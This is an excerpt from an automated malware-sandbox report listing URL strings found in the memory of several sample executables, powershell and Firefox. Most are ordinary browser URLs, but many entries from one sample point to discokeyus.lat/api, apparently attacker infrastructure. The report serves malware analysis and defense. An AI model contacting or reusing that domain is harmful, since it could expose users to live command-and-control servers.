Source: firefox.exe, 00000030.00000002.3644428324.000002238C7B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000030.00000002.3676285099.000002238E082000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000030.00000002.3537155261.000002238A746000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/sessionstore/Pri
Source: fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C0891F000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3019233225.0000015C08C4E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.oh
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: 85746525a0.exe, 0000000B.00000003.2757106362.00000000032F5000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3234150760.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334747442.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000030.00000003.3313163016.000002238E377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312075480.000002238E31F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3311874121.000002238E100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/internal:privateBrowsingAllowedprincipalToInherit_base64Wikipedia
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C7E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgpictureinpicture.toggle_enabledError:
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: powershell.exe, 0000000E.00000002.2638900378.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2690416299.0000000004F41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 85746525a0.exe, 0000000B.00000003.2759360034.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000030.00000002.3676285099.000002238E06F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000030.00000002.3676285099.000002238E037000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1378427
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: 85746525a0.exe, 0000000B.00000003.2759360034.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: ed7d415177.exe, 00000018.00000003.3248441789.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3447488113.0000022389DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: powershell.exe, 00000011.00000002.2706333569.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2706333569.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2706333569.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/hsts.html
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsLis
Source: firefox.exe, 00000030.00000002.3506483524.000002238A62D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3506483524.000002238A613000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000030.00000002.3614866443.000002238B740000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: ed7d415177.exe, 00000018.00000003.3304060633.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3595900652.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3152686589.00000000053CE000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3345325564.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3539577851.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3428049058.0000000000951000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3484637549.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3358350057.0000000000938000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3231072571.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3227472595.00000000053C7000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3552378532.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3527329211.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.0000000001766000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3594435833.00000000017E4000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3445606549.0000000001762000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3529309223.0000000001766000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3445606549.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3652544592.00000000017E4000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3653308525.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3519683724.00000000017F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/
Source: ed7d415177.exe, 00000018.00000003.3595900652.0000000000958000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/%
Source: ed7d415177.exe, 0000001E.00000003.3652544592.00000000017E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/&
Source: ed7d415177.exe, 00000018.00000003.3146093450.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3146695832.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3594435833.00000000017E4000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3652544592.00000000017E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/L
Source: ed7d415177.exe, 00000018.00000003.3484637549.0000000000958000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/V
Source: ed7d415177.exe, 00000018.00000003.3484637549.0000000000945000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3232038991.0000000000966000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3595581104.00000000054A0000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3564661429.00000000054A0000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3235297402.0000000000966000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.000000000176F000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3653308525.000000000176F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/api
Source: ed7d415177.exe, 0000001E.00000003.3595404950.000000000176F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/apiLT
Source: ed7d415177.exe, 0000001E.00000003.3635731415.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3450907146.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3487975673.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3450280730.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3590733127.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3482305250.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3419016658.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3507390509.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3536597661.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3452391310.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3621884042.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3449781945.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3406193930.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3403952992.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3501351249.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/apiation_
Source: ed7d415177.exe, 0000001E.00000003.3635731415.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/apill_sou
Source: ed7d415177.exe, 0000001E.00000003.3635731415.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3450907146.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3487975673.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3450280730.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3343159529.0000000005ECB000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3590733127.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3482305250.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3419016658.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3507390509.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3536597661.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3452391310.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3621884042.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3354774274.0000000005ED0000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3449781945.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3406193930.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3334057371.0000000005ED0000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3403952992.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3501351249.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/apittp_ca
Source: ed7d415177.exe, 00000018.00000003.3539577851.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3484637549.0000000000958000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/c
Source: ed7d415177.exe, 00000018.00000003.3595900652.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3539577851.0000000000958000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3484637549.0000000000958000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/j
Source: ed7d415177.exe, 0000001E.00000003.3445606549.0000000001759000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat:443/api
Source: ed7d415177.exe, 0000001E.00000003.3445606549.0000000001759000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat:443/api8
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000030.00000003.3313163016.000002238E377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312075480.000002238E31F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3311874121.000002238E100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312453813.000002238E33C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.3312834408.000002238E35A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: 85746525a0.exe, 0000000B.00000003.2609953501.000000000330C000.00000004.00000800.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2610601539.000000000330A000.00000004.00000800.00020000.00000000.sdmp, bb31c9d4a53941b6b913f33980d23feb.exe, 00000015.00000003.3326235678.000000000374A000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3065381407.000000000540D000.00000004.00000800.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000003.3344064929.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3232703151.0000000005F09000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3230377268.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3231602649.0000000005F09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
